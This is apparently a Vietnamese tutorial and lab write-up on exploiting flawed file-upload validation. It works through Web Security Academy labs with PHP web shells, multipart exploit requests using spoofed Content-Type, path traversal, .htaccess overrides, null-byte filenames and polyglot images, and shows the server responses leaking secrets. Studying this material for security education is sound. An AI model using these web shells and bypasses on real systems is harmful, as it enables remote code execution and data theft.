Flawed File Type Validation
Khi submit HTML form, trình duyệt thường gửi POST request có Content-Type
là application/x-www-form-url-encoded
. Tuy nhiên, loại nội dung này chỉ được dùng cho dữ liệu đơn giản chẳng hạn như tên hoặc địa chỉ của người dùng. Đối với dữ liệu có kích thước lớn và ở dạng nhị phân chẳng hạn như hình ảnh hoặc PDF, loại nội dung được sử dụng sẽ là multipart/form-data
.
Ví dụ, xét một form bao gồm các trường: hình ảnh, mô tả và username. Request khi submit form có dạng như sau:
POST /images HTTP/1.1
Host: normal-website.com
Content-Length: 12345
Content-Type: multipart/form-data; boundary=---------------------------012345678901234567890123456
---------------------------012345678901234567890123456
Content-Disposition: form-data; name="image"; filename="example.jpg"
Content-Type: image/jpeg
[...binary content of example.jpg...]
---------------------------012345678901234567890123456
Content-Disposition: form-data; name="description"
This is an interesting description of my image.
---------------------------012345678901234567890123456
Content-Disposition: form-data; name="username"
wiener
---------------------------012345678901234567890123456--
Có thể thấy, request body được tách thành nhiều phần tương ứng với từng input. Mỗi phần có header Content-Disposition
cho biết các thông tin cơ bản về input trong ngữ cảnh của HTML form chẳng hạn như tên param (name
) hoặc tên tập tin (filename
). Ngoài ra, mỗi phần còn có thể có header Content-Type
giúp chỉ định MIME type của dữ liệu bên trong nó.
Server có thể validate tập tin được tải lên bằng cách so khớp giá trị của Content-Type
với một MIME type cụ thể nào đó. Ví dụ, nếu server mong muốn nhận được các tập tin hình ảnh thì nó sẽ so khớp với image/jpeg
và image/png
. Vấn đề sẽ nảy sinh khi server tin cậy giá trị của header này và không thực hiện các kiểm tra khác. Khi đó, để bypass việc kiểm tra MIME type, attacker có thể thay đổi giá trị của Content-Type
trước khi gửi request bằng cách sử dụng các HTTP client chẳng hạn như Burp Suite.
Lab: Web Shell Upload via Content-Type Restriction Bypass
Mô tả lab:
- Tồn tại lỗ hổng trong tính năng upload hình ảnh do server chặn các loại tập tin không mong muốn dựa vào một input bị kiểm soát bởi người dùng.
- Mục tiêu là upload một web shell đơn giản được viết bằng PHP để đọc nội dung của tập tin
/home/carlos/secret
. - Tài khoản được cung cấp là
wiener:peter
.
Thử upload web shell sau:
<?php echo file_get_contents('/home/carlos/secret'); ?>
Response nhận được là:
HTTP/2 403 Forbidden
Date: Wed, 24 Apr 2024 05:36:08 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 238
Sorry, file type application/octet-stream is not allowed
Only image/jpeg and image/png are allowed
Sorry, there was an error uploading your file.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>
Sử dụng Burp Repeater và sửa Content-Type
của web shell thành image/jpeg
:
POST /my-account/avatar HTTP/2
Host: 0a1200dd043f8597847f180200fb009a.web-security-academy.net
Cookie: session=2XGtpZtbjzAfhKqn1jNDw8YlUNGapQUp
Content-Length: 477
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0a1200dd043f8597847f180200fb009a.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeEEvpWOIXA2Af6vu
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a1200dd043f8597847f180200fb009a.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=0, i
------WebKitFormBoundaryeEEvpWOIXA2Af6vu
Content-Disposition: form-data; name="avatar"; filename="webshell.php"
Content-Type: image/jpeg
<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundaryeEEvpWOIXA2Af6vu
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundaryeEEvpWOIXA2Af6vu
Content-Disposition: form-data; name="csrf"
SSUiU9XghIVIBo7fz8oYkkxqmaMAgdU7
------WebKitFormBoundaryeEEvpWOIXA2Af6vu--
Response cho thấy ta đã upload web shell thành công:
HTTP/2 200 OK
Date: Wed, 24 Apr 2024 05:37:20 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 133
The file avatars/webshell.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>
Truy cập vào endpoint /files/avatars/webshell.php
để thực thi web shell và đọc nội dung của tập tin /home/carlos/secret
. Response nhận được là:
HTTP/2 200 OK
Date: Wed, 24 Apr 2024 05:38:15 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 32
iaTMKVBlR3ehtmE53u0xBBlGPm4xNi6L
Preventing File Execution in User-accessible Directories
Server có thể cấu hình một danh sách các MIME type mà có thể được thực thi và sẽ trả về lỗi nếu như loại tập tin không được cấu hình. Trong một số trường hợp, server có thể trả về nội dung của tập tin:
GET /static/exploit.php?command=id HTTP/1.1
Host: normal-website.com
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 39
<?php echo system($_GET['command']); ?>
Note
Hành vi này tuy ngăn chặn được việc tạo web shell nhưng có thể để lộ mã nguồn.
Cách cấu hình trên thường khác nhau giữa các thư mục. Cụ thể, các thư mục mà có chứa tập tin được tải lên bởi người dùng thường có các ràng buộc nghiêm khắc hơn các thư mục khác. Nếu ta có thể upload web shell lên một thư mục mà đáng lẽ không được dùng để chứa các tập tin của người dùng thì server có thể thực thi nó.
Tip
Các web server thường dựa vào trường
filename
ở trong cácmultipart/form-data
request để xác định vị trí lưu trữ tập tin.
Lab: Web Shell Upload via Path Traversal
Mô tả lab:
- Tồn tại lỗ hổng trong tính năng upload hình ảnh.
- Server có cấu hình để ngăn cản việc thực thi các tập tin của người dùng nhưng vẫn có thể bị bypass bằng cách khai thác một lỗ hổng khác.
- Mục tiêu là upload một web shell đơn giản được viết bằng PHP để đọc nội dung của tập tin
/home/carlos/secret
. - Tài khoản được cung cấp là
wiener:peter
.
Tên của lab có đề cập đến lỗ hổng path traversal.
Thử upload web shell sau:
<?php echo file_get_contents('/home/carlos/secret'); ?>
Response nhận được là:
HTTP/2 200 OK
Date: Wed, 24 Apr 2024 05:51:24 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 133
The file avatars/webshell.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>
Truy cập đến endpoint /files/avatars/webshell.php
để thực thì web shell thì nhận được response sau:
HTTP/2 200 OK
Date: Wed, 24 Apr 2024 05:52:23 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Wed, 24 Apr 2024 05:51:24 GMT
Etag: "37-616d142c5074d"
Accept-Ranges: bytes
X-Frame-Options: SAMEORIGIN
Content-Length: 55
<?php echo file_get_contents('/home/carlos/secret'); ?>
Có thể thấy, web shell đã được upload nhưng không thể được thực thi.
Thử xây dựng một request có đường dẫn của tập tin nằm ở một thư mục khác:
POST /my-account/avatar HTTP/2
Host: 0a19001304e5119d808826b700aa0061.web-security-academy.net
Cookie: session=oUkBKoQ4suOjE2r8qEsJAXkAoEg6wZFE
Content-Length: 482
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0a19001304e5119d808826b700aa0061.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQaFfnp10N8Z2IwGa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a19001304e5119d808826b700aa0061.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=0, i
------WebKitFormBoundaryQaFfnp10N8Z2IwGa
Content-Disposition: form-data; name="avatar"; filename="..%2fwebshell.php"
Content-Type: application/octet-stream
<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundaryQaFfnp10N8Z2IwGa
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundaryQaFfnp10N8Z2IwGa
Content-Disposition: form-data; name="csrf"
DAIRNLbVgbDOvr04I9hHa1XYOB6FALQk
------WebKitFormBoundaryQaFfnp10N8Z2IwGa--
Note
Nếu không URL encoding thì tập tin vẫn được tải lên ở thư mục
files/avatars
.
Gửi request đến web shell ở endpoint /files/avatars/../webshell.php
thì nhận được response sau:
HTTP/2 200 OK
Date: Wed, 24 Apr 2024 05:58:09 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 32
vt6EjF603EskQJQCNj5KL5fNoLQzzJ2b
Insufficient Blacklisting of Dangerous File Types
Việc dùng blacklist để chặn các phần mở rộng của tập tin chẳng hạn như .php
thường không hiệu quả do không thể nào chặn được hết tất cả. Các blacklist này có thể bị bypass bằng cách sử dụng các phần mở rộng thay thế ít dùng chẳng hạn như .php5
hoặc .shtml
.
Lab: Web Shell Upload via Extension Blacklist Bypass
Mô tả lab:
- Tồn tại lỗ hổng trong tính năng upload hình ảnh.
- Một số phần mở rộng tập tin bị chặn bởi blacklist nhưng ta vẫn có thể bypass bằng một khuyết điểm cơ bản ở trong cấu hình của blacklist này.
- Mục tiêu là upload một web shell đơn giản được viết bằng PHP để đọc nội dung của tập tin
/home/carlos/secret
. - Tài khoản được cung cấp là
wiener:peter
.
Thử upload web shell sau:
<?php echo file_get_contents('/home/carlos/secret'); ?>
Response nhận được là:
HTTP/2 403 Forbidden
Date: Wed, 24 Apr 2024 06:54:36 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 164
Sorry, php files are not allowed
Sorry, there was an error uploading your file.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>
Thay phần mở rộng thành .phar
:
POST /my-account/avatar HTTP/2
Host: 0aec00a00322974384f90946009e0094.web-security-academy.net
Cookie: session=3bgylgGRmIZaF9r8hj0wZThkb1yQ3PhI
Content-Length: 478
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0aec00a00322974384f90946009e0094.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHh39CIiHiyUO1Amn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aec00a00322974384f90946009e0094.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=0, i
------WebKitFormBoundaryHh39CIiHiyUO1Amn
Content-Disposition: form-data; name="avatar"; filename="webshell.phar"
Content-Type: application/octet-stream
<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundaryHh39CIiHiyUO1Amn
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundaryHh39CIiHiyUO1Amn
Content-Disposition: form-data; name="csrf"
cre1U7EYJtDxqgj825y129BqVwxajhno
------WebKitFormBoundaryHh39CIiHiyUO1Amn--
Response trả về có status code là 200 cho biết ta đã upload tập tin thành công.
Gửi request đến endpoint /files/avatars/webshell.phar
để thực thi web shell và ta nhận được response sau:
HTTP/2 200 OK
Date: Wed, 24 Apr 2024 07:15:24 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 32
BvWIW7cjYYrVuCJtbwPOzYyXflkYtoNY
Overriding the Server Configuration
Như đã đề cập ở phần Exploiting Flawed Validation of File Uploads, server chỉ thực thi các tập tin mà có MIME type được cấu hình. Ví dụ, để Apache server thực thi tập tin PHP thì developer cần thêm các directive sau vào tập tin /etc/apache2/apache2.conf
:
LoadModule php_module /usr/lib/apache2/modules/libphp.so
AddType application/x-httpd-php .php
Nhiều loại server còn cho phép developer tạo ra các tập tin cấu hình đặc biệt trong các thư mục riêng lẻ để ghi đè hoặc thêm vào global settings. Ví dụ, Apache server sẽ nạp cấu hình dành riêng cho thư mục (directory-specific) từ tập tin .htaccess
.
Các IIS server cũng tương tự, developer có thể nạp cấu hình dành riêng cho thư mục từ tập tin web.config
. Ví dụ, tập tin này có thể chứa các directive sau để phục vụ các tập tin JSON cho người dùng:
<staticContent>
<mimeMap fileExtension=".json" mimeType="application/json" />
</staticContent>
Thông thường, chúng ta không thể truy cập vào các tập tin cấu hình thông qua HTTP request. Tuy nhiên, chúng ta có thể upload lên các tập tin cấu hình độc hại để khiến server map một phần mở rộng tập tin bất kỳ với một MIME type có thể thực thi.
Bài lab Lab Web Shell Upload via Extension Blacklist Bypass còn có một cách giải khác sử dụng kỹ thuật ghi đè cấu hình vừa đề cập.
Cụ thể, ta upload lên tập tin .htaccess
có nội dung như sau:
AddType application/x-httpd-php .1337
Request upload tập tin là:
POST /my-account/avatar HTTP/2
Host: 0aec00a00322974384f90946009e0094.web-security-academy.net
Cookie: session=3bgylgGRmIZaF9r8hj0wZThkb1yQ3PhI
Content-Length: 867
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0aec00a00322974384f90946009e0094.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGHXtmcZ6R64v5J0U
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aec00a00322974384f90946009e0094.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=0, i
------WebKitFormBoundaryGHXtmcZ6R64v5J0U
Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: text/plain
AddType application/x-httpd-php .1337
------WebKitFormBoundaryGHXtmcZ6R64v5J0U
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundaryGHXtmcZ6R64v5J0U
Content-Disposition: form-data; name="csrf"
cre1U7EYJtDxqgj825y129BqVwxajhno
------WebKitFormBoundaryGHXtmcZ6R64v5J0U--
Note
Chú ý chuyển
Content-Type
của paramavatar
thànhtext/plain
vàfilename
thành.htaccess
Response:
HTTP/2 200 OK
Date: Wed, 24 Apr 2024 07:22:18 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 130
The file avatars/.htaccess has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>
Sau đó, ta upload web shell với phần mở rộng là .1337
và nhận được response như sau:
HTTP/2 200 OK
Date: Wed, 24 Apr 2024 07:23:59 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 134
The file avatars/webshell.1337 has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>
Truy cập vào endpoint /files/avatars/webshell.1337
để thực thi web shell và ta nhận được response có chứa nội dung của tập tin /home/carlos/secret
:
HTTP/2 200 OK
Date: Wed, 24 Apr 2024 07:24:17 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 32
BvWIW7cjYYrVuCJtbwPOzYyXflkYtoNY
Obfuscating File Extensions
Chúng ta cũng có thể bypass blacklist bằng cách làm rối phần mở rộng của tập tin. Ví dụ, một số blacklist có thể sẽ không nhận ra phần mở rộng .pHp
.
Về bản chất, chúng ta sẽ khai thác sự không nhất quán giữa việc phân tách tên tập tin và việc ánh xạ loại tập tin với MIME type.
Các kỹ thuật:
- Sử dụng nhiều phần mở rộng tập tin. Ví dụ, tập tin
exploit.php.jpg
có thể là tập tin PHP hoặc JPG tùy thuộc vào thuật toán phân tách tên tập tin. - Thêm vào các ký tự đuôi: một số thành phần trong ứng dụng có thể xóa bỏ hoặc bỏ qua các khoảng trắng hoặc dấu chấm ở cuối tên tập tin. Khi đó, ta có thể sử dụng tên tập tin như sau:
exploit.php.
. - Sử dụng URL encoding (hoặc double URL encoding) cho dấu chấm, forward slash và backward slash: nếu server không decode tên tập tin trong quá trình validate nhưng lại decode khi xử lý thì chúng ta có thể sử dụng tên tập tin như sau:
exploit%2Ephp
. - Thêm vào dấu chấm phẩy (
;
) hoặc các null byte được URL encode trước phần mở rộng của tập tin: nếu việc validation được thực hiện bởi một ngôn ngữ cấp cao chẳng hạn như PHP hoặc Java và server xử lý tập tin bằng các hàm cấp thấp của C++ thì ta có thể sử dụng các tên tập tin sau:exploit.asp;.jpg
hoặcexploit.asp%00.jpg
. - Thử sử dụng các ký tự unicode có nhiều byte mà sẽ được chuyển thành các null byte và dấu chấm sau quá trình chuẩn hóa. Các chuỗi chẳng hạn như
xC0 x2E
,xC4 xAE
hoặcxC0 xAE
có thể được chuyển thànhx2E
nếu tên tập tin được phân tách như là một chuỗi UTF-8. Sau đó, nó có thể được chuyển thành dạng ASCII trước khi được ghép vào đường dẫn tập tin.
Một số server có thể xóa bỏ hoặc thay thế các phần mở rộng nguy hiểm để ngăn chặn tập tin được thực thi. Nếu quá trình này không được thực hiện một cách đệ quy thì chúng ta có thể xây dựng tên tập tin sao cho sau khi bị validate thì nó trở thành một tập tin hợp lệ và có thể được thực thi. Ví dụ:
exploit.p.phphp
Lab: Web Shell Upload via Obfuscated File Extension
Mô tả lab:
- Tồn tại lỗ hổng trong tính năng upload hình ảnh.
- Một số phần mở rộng tập tin bị chặn bởi blacklist nhưng ta vẫn có thể bypass bằng cách sử dụng các kỹ thuật làm rối phần mở rộng của tập tin.
- Mục tiêu là upload một web shell đơn giản được viết bằng PHP để đọc nội dung của tập tin
/home/carlos/secret
. - Tài khoản được cung cấp là
wiener:peter
.
Thử upload web shell sau:
<?php echo file_get_contents('/home/carlos/secret'); ?>
Response nhận được là:
HTTP/2 403 Forbidden
Date: Wed, 24 Apr 2024 07:50:12 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 171
Sorry, only JPG & PNG files are allowed
Sorry, there was an error uploading your file.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>
Đổi phần mở rộng của tập tin thành .php.png
:
POST /my-account/avatar HTTP/2
Host: 0aa10010044591de8494d69600e100f7.web-security-academy.net
Cookie: session=zWJsDaGLZvxCXcrB3DtGYqfCmM6iHqJL
Content-Length: 481
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0aa10010044591de8494d69600e100f7.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUt5qCieqk8IAtL1Z
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aa10010044591de8494d69600e100f7.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=0, i
------WebKitFormBoundaryUt5qCieqk8IAtL1Z
Content-Disposition: form-data; name="avatar"; filename="webshell.php.png"
Content-Type: application/octet-stream
<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundaryUt5qCieqk8IAtL1Z
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundaryUt5qCieqk8IAtL1Z
Content-Disposition: form-data; name="csrf"
8VKNTJ0ZcUKkFPV6RHPsSlZ5rkFREn7g
------WebKitFormBoundaryUt5qCieqk8IAtL1Z--
Tập tin được upload thành công:
HTTP/2 200 OK
Date: Wed, 24 Apr 2024 07:51:03 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 137
The file avatars/webshell.php.png has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>
Gửi request đến endpoint /files/avatars/webshell.php.png
để thực thi web shell và ta nhận được response sau:
HTTP/2 304 Not Modified
Date: Wed, 24 Apr 2024 07:53:18 GMT
Server: Apache/2.4.41 (Ubuntu)
Etag: "37-616d2eeb1648e"
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Có thể thấy, tập tin không được xem như là tập tin PHP.
Thử thêm null byte trước phần mở rộng .png
:
POST /my-account/avatar HTTP/2
Host: 0aa10010044591de8494d69600e100f7.web-security-academy.net
Cookie: session=zWJsDaGLZvxCXcrB3DtGYqfCmM6iHqJL
Content-Length: 484
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0aa10010044591de8494d69600e100f7.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUt5qCieqk8IAtL1Z
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aa10010044591de8494d69600e100f7.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=0, i
------WebKitFormBoundaryUt5qCieqk8IAtL1Z
Content-Disposition: form-data; name="avatar"; filename="webshell.php%00.png"
Content-Type: application/octet-stream
<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundaryUt5qCieqk8IAtL1Z
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundaryUt5qCieqk8IAtL1Z
Content-Disposition: form-data; name="csrf"
8VKNTJ0ZcUKkFPV6RHPsSlZ5rkFREn7g
------WebKitFormBoundaryUt5qCieqk8IAtL1Z--
Response:
HTTP/2 200 OK
Date: Wed, 24 Apr 2024 07:56:08 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 133
The file avatars/webshell.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>
Gửi request đến endpoint /files/avatars/webshell.php
để thực thi web shell và ta nhận được response như sau:
HTTP/2 200 OK
Date: Wed, 24 Apr 2024 07:56:17 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 32
od40322IkbmdXcbl4gLoqwnAuLWwhAgS
Flawed Validation of the File’s Contents
Thay vì dựa vào header Content-Type
, một số server thực hiện validate dựa vào nội dung của tập tin. Ví dụ, nếu là hình ảnh thì tập tin phải có thông tin về kích thước và tập tin PHP thường sẽ không có thông tin này.
Server cũng có thể kiểm tra signature của tập tin. Ví dụ, tập tin JPEG luôn bắt đầu bằng chuỗi byte FF D8 FF
. Dẫu vậy, attacker cũng có thể sử dụng những công cụ chẳng hạn như ExifTool để chỉnh sửa signature của tập tin độc hại.
Lab: Remote Code Execution via Polyglot Web Shell Upload
Mô tả lab:
- Tồn tại lỗ hổng trong tính năng upload hình ảnh.
- Server có kiểm tra nội dung của tập tin để đảm bảo nó là hình ảnh.
- Mục tiêu là upload một web shell đơn giản được viết bằng PHP để đọc nội dung của tập tin
/home/carlos/secret
. - Tài khoản được cung cấp là
wiener:peter
.
Thử upload web shell sau:
<?php echo file_get_contents('/home/carlos/secret'); ?>
Server trả về response như sau:
HTTP/2 403 Forbidden
Date: Wed, 24 Apr 2024 08:02:33 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 164
Error: file is not a valid image
Sorry, there was an error uploading your file.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>
Sử dụng công cụ powerglot để nhúng web shell vào hình ảnh:
python3 .\powerglot.py -o .\webshell.php .\cat.jpeg malicious-cat.jpg
Upload hình ảnh vừa tạo với Content-Disposition
là form-data; name="avatar"; filename="malicious-cat.php"
và Content-Type
là image/jpeg
, ta nhận được response sau:
HTTP/2 200 OK
Date: Wed, 24 Apr 2024 08:13:47 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 138
The file avatars/malicious-cat.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>
Gửi request đến endpoint /files/avatars/malicious-cat.php
để thực thi web shell và trong response nhận được có đoạn như sau:
HTTP/2 200 OK
Date: Wed, 24 Apr 2024 08:14:40 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 102992
ÿØÿà#JFIFHH
JzDL65ZkYK6aQ5noEFelgpD194BaZf99ÿþ
Giá trị JzDL65ZkYK6aQ5noEFelgpD194BaZf99
chính là nội dung của tập tin cần đọc.
Exploiting File Upload Race Conditions
Một số framework hiện đại upload tập tin của người dùng vào một thư mục sandbox tạm thời và sinh ra một tên tập tin ngẫu nhiên để đảm bảo rằng nó không ghi đè lên các tập tin cấu hình của hệ thống. Sau đó, tập tin được validate và chỉ được đưa vào sử dụng khi nó an toàn.
Warning
Nếu lập trình viên không sử dụng framework để xử lý tập tin thì có thể làm cho ứng dụng bị tấn công race condition.
Ví dụ, một số ứng dụng cho phép upload tập tin lên hệ thống tập tin chính rồi xóa nó nếu không vượt qua được quá trình validation. Hành vi này thường dựa vào các phần mềm anti-virus và có thể mất vài mili giây. Tuy nhiên, trong khoảng thời gian đó, attacker vẫn có khả năng để thực thi tập tin.
Info
Những lỗ hổng này thường khá khó phát hiện trong quá trình kiểm thử hộp đen trừ khi ta tìm được một cách nào đó để có được mã nguồn.
Theo lý thuyết, nếu tập tin được nạp vào một thư mục tạm thời có tên ngẫu nhiên thì attacker không thể gửi request để thực thi tập tin do không biết tên của thư mục. Tuy nhiên, nếu tên thư mục được sinh ra bởi các hàm sinh số giả ngẫu nhiên chẳng hạn như hàm uniqid()
của PHP thì attacker vẫn có thể brute-force.
Thậm chí, attacker cũng có thể kéo dài thời gian validate tập tin để có thêm thời gian brute force bằng cách upload những tập tin có kích thước lớn. Cụ thể hơn, attacker có thể tạo ra tập tin có payload cần thực thi ở đầu và theo sau đó là một lượng lớn các byte đệm.
Lab: Web Shell Upload via Race Condition
Mô tả lab:
- Tồn tại lỗ hổng trong tính năng upload hình ảnh.
- Server có thực hiện validate tập tin nhưng ta vẫn có thể bypass bằng cách khai thác lỗ hổng race condition.
- Mục tiêu là upload một web shell đơn giản được viết bằng PHP để đọc nội dung của tập tin
/home/carlos/secret
. - Tài khoản được cung cấp là
wiener:peter
.
